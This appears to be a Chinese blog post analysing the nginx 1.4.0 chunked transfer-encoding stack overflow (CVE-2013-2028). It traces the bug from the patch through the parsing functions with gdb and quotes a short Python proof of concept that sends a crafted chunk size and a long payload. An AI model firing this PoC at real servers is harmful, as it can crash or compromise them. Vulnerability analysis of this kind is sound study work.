【安全漏洞】从补丁追溯漏洞触发路径
背景
操作系統:ubuntu 18.04 64bit
漏洞軟件:nginx-1.4.0
【查看資料】
1. 漏洞補丁信息
從補丁可以認識一個漏洞的觸發源。
查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:
if (ctx->size < 0 || ctx->length < 0) {goto invalid;}return rc;可以看到補丁中在/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數返回值中增加了對變量ctx->length和ctx->size的負值判斷
查看ctx變量的結構體定義,
可以看到size和length的類型變量是off_t,而off_t對應了long int,是一個有符號的變量(記住這一點,很重要)。
2. 漏洞觸發路徑分析
從上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數,與負值的變量ctx->length和ctx->size有關,現在開始追蹤這兩個變量的后續流向。
2.1 漏洞復現
POC信息
從互聯網可以找到該漏洞的POC如下:
import sockethost = "127.0.0.1" ip='127.0.0.1'raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 80))data1 = raw data1 += "f000000000000060" + "\r\n"print data1 s.send(data1)s.send("B" * 6000) s.close()這個POC會發送兩次TCP請求數據,第一次是一個HTTP請求:
GET / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked Connection: Keep-Alivef000000000000060第二次是一個超長的"B"字符串。
chunked HTTP請求
第一個HTTP請求的特殊之處在于這是一個分塊傳輸的請求。在請求體中,在每一個分塊的開頭需要添加當前分塊的長度,以十六進制的形式表示,后面緊跟著 ‘\r\n’ ,之后是分塊本身,后面也是’\r\n’
漏洞復現
在shell中找到nginx工作進程的pid,并使用gdb 掛載調試 ,并在patch函數下斷點。
osboxes@osboxes:~$ ps aux |grep nginx root 2081 0.0 0.0 21860 1908 ? Ss 11:14 0:00 nginx: master process ./nginx -c conf/nginx.conf nobody 7185 0.0 0.0 22256 2196 ? S 17:32 0:00 nginx: worker process osboxes 7406 0.0 0.0 14436 1008 pts/0 S+ 19:13 0:00 grep --color=auto nginx osboxes@osboxes:~$ sudo gdb -p 7185 pwndbg> b ngx_http_parse_chunked Breakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974. pwndbg> c Continuing.執行POC,并查看函數調用棧可以看到如下:
那我們就依照源碼來分析漏洞的觸發路徑
1.ngx_http_parse_chunked函數解析HTTP中的塊大小
查看ngx_http_parse_chunked函數,可以看到該函數的主要功能為解析HTTP請求體中的chunk信息。
ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx) { ...state = ctx->state; ...rc = NGX_AGAIN; ...switch (state) {...case sw_chunk_size:if (ch >= '0' && ch <= '9') {ctx->size = ctx->size * 16 + (ch - '0');break;}c = (u_char) (ch | 0x20);if (c >= 'a' && c <= 'f') {ctx->size = ctx->size * 16 + (c - 'a' + 10);break;}...}data:switch (state) { ...case sw_chunk_data:ctx->length = ctx->size + 4 /* LF "0" LF LF */;break; ...return rc; ... }當遇到HTTP請求體中的塊大小,即f000000000000060時,會將字符串解析為對應的十六進制數字,并保存在ctx->size中。注意,由于是有符號的,ctx的值是為負數的。之后ctx->size的值會賦值到ctx->lenth中,也就是:
ctx->lenth= ctx->size+4= parseLong('f000000000000060')+4= -1152921504606846880+4= -1152921504606846876之后,函數返回,返回值為rc=NGX_AGIN
2.ngx_http_discard_request_body_filter將值進一步向上傳遞
根據返回值rc == NGX_AGAIN, 這個負值會進一步傳遞到r->headers_in.content_length_n 變量中,注意這也是一個off_t類型的,也就是它也是**負數。**也就是
r->headers_in.content_length_n = rb->chunked->length= -1152921504606846876之后函數返回 ,返回值為NGX_OK。
3.ngx_http_discard_request_body簡單跳轉
在ngx_http_discard_request_body函數中, 控制流返回后進入到另一個子函數中。
4.ngx_http_read_discarded_request_body棧溢出
逃脫ngx_min檢查
在ngx_http_read_discard_request_body函數中本來是有長度范圍檢查ngx_min,但是正如我們前面所說的,長度為負數,所以這個檢查就被繞過了
size 被賦予超大值
在函數中size_t是一個無符號的long int, 這樣size就被意外的賦值為一個超大的數值。也就是
(size_t) size= r->headers_in.content_length_n= 17293822569102704740recv 將超長的輸入寫入局部變量buffer
在解析size之后,nginx 會嘗試再次讀取輸入,
n = r->connection->recv(r->connection, buffer, size);此時,系統會嘗試size=17293822569102704740大小的輸入寫入到局部變量buffer中,由此造成了棧溢出。
3. 漏洞路徑
4. 漏洞數據流
總結整理數據的流動方向如下圖:
總結
這個漏洞的原因在于,帶符號整數在轉為無符號數時會變為極大的值,從而導致nginx從socket中讀取了超長的值到局部變量中。
漏洞的觸發條件為三個:
參考:Nginx棧溢出分析 - CVE-2013-2028 - l3m0n - 博客園 (cnblogs.com)
關注我,持續更新!!!
私我獲取【網絡安全學習資料·攻略】
總結
以上是生活随笔為你收集整理的【安全漏洞】从补丁追溯漏洞触发路径的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】Windows cmd的命令
- 下一篇: 【网络安全】如何使用ppmap检测和利用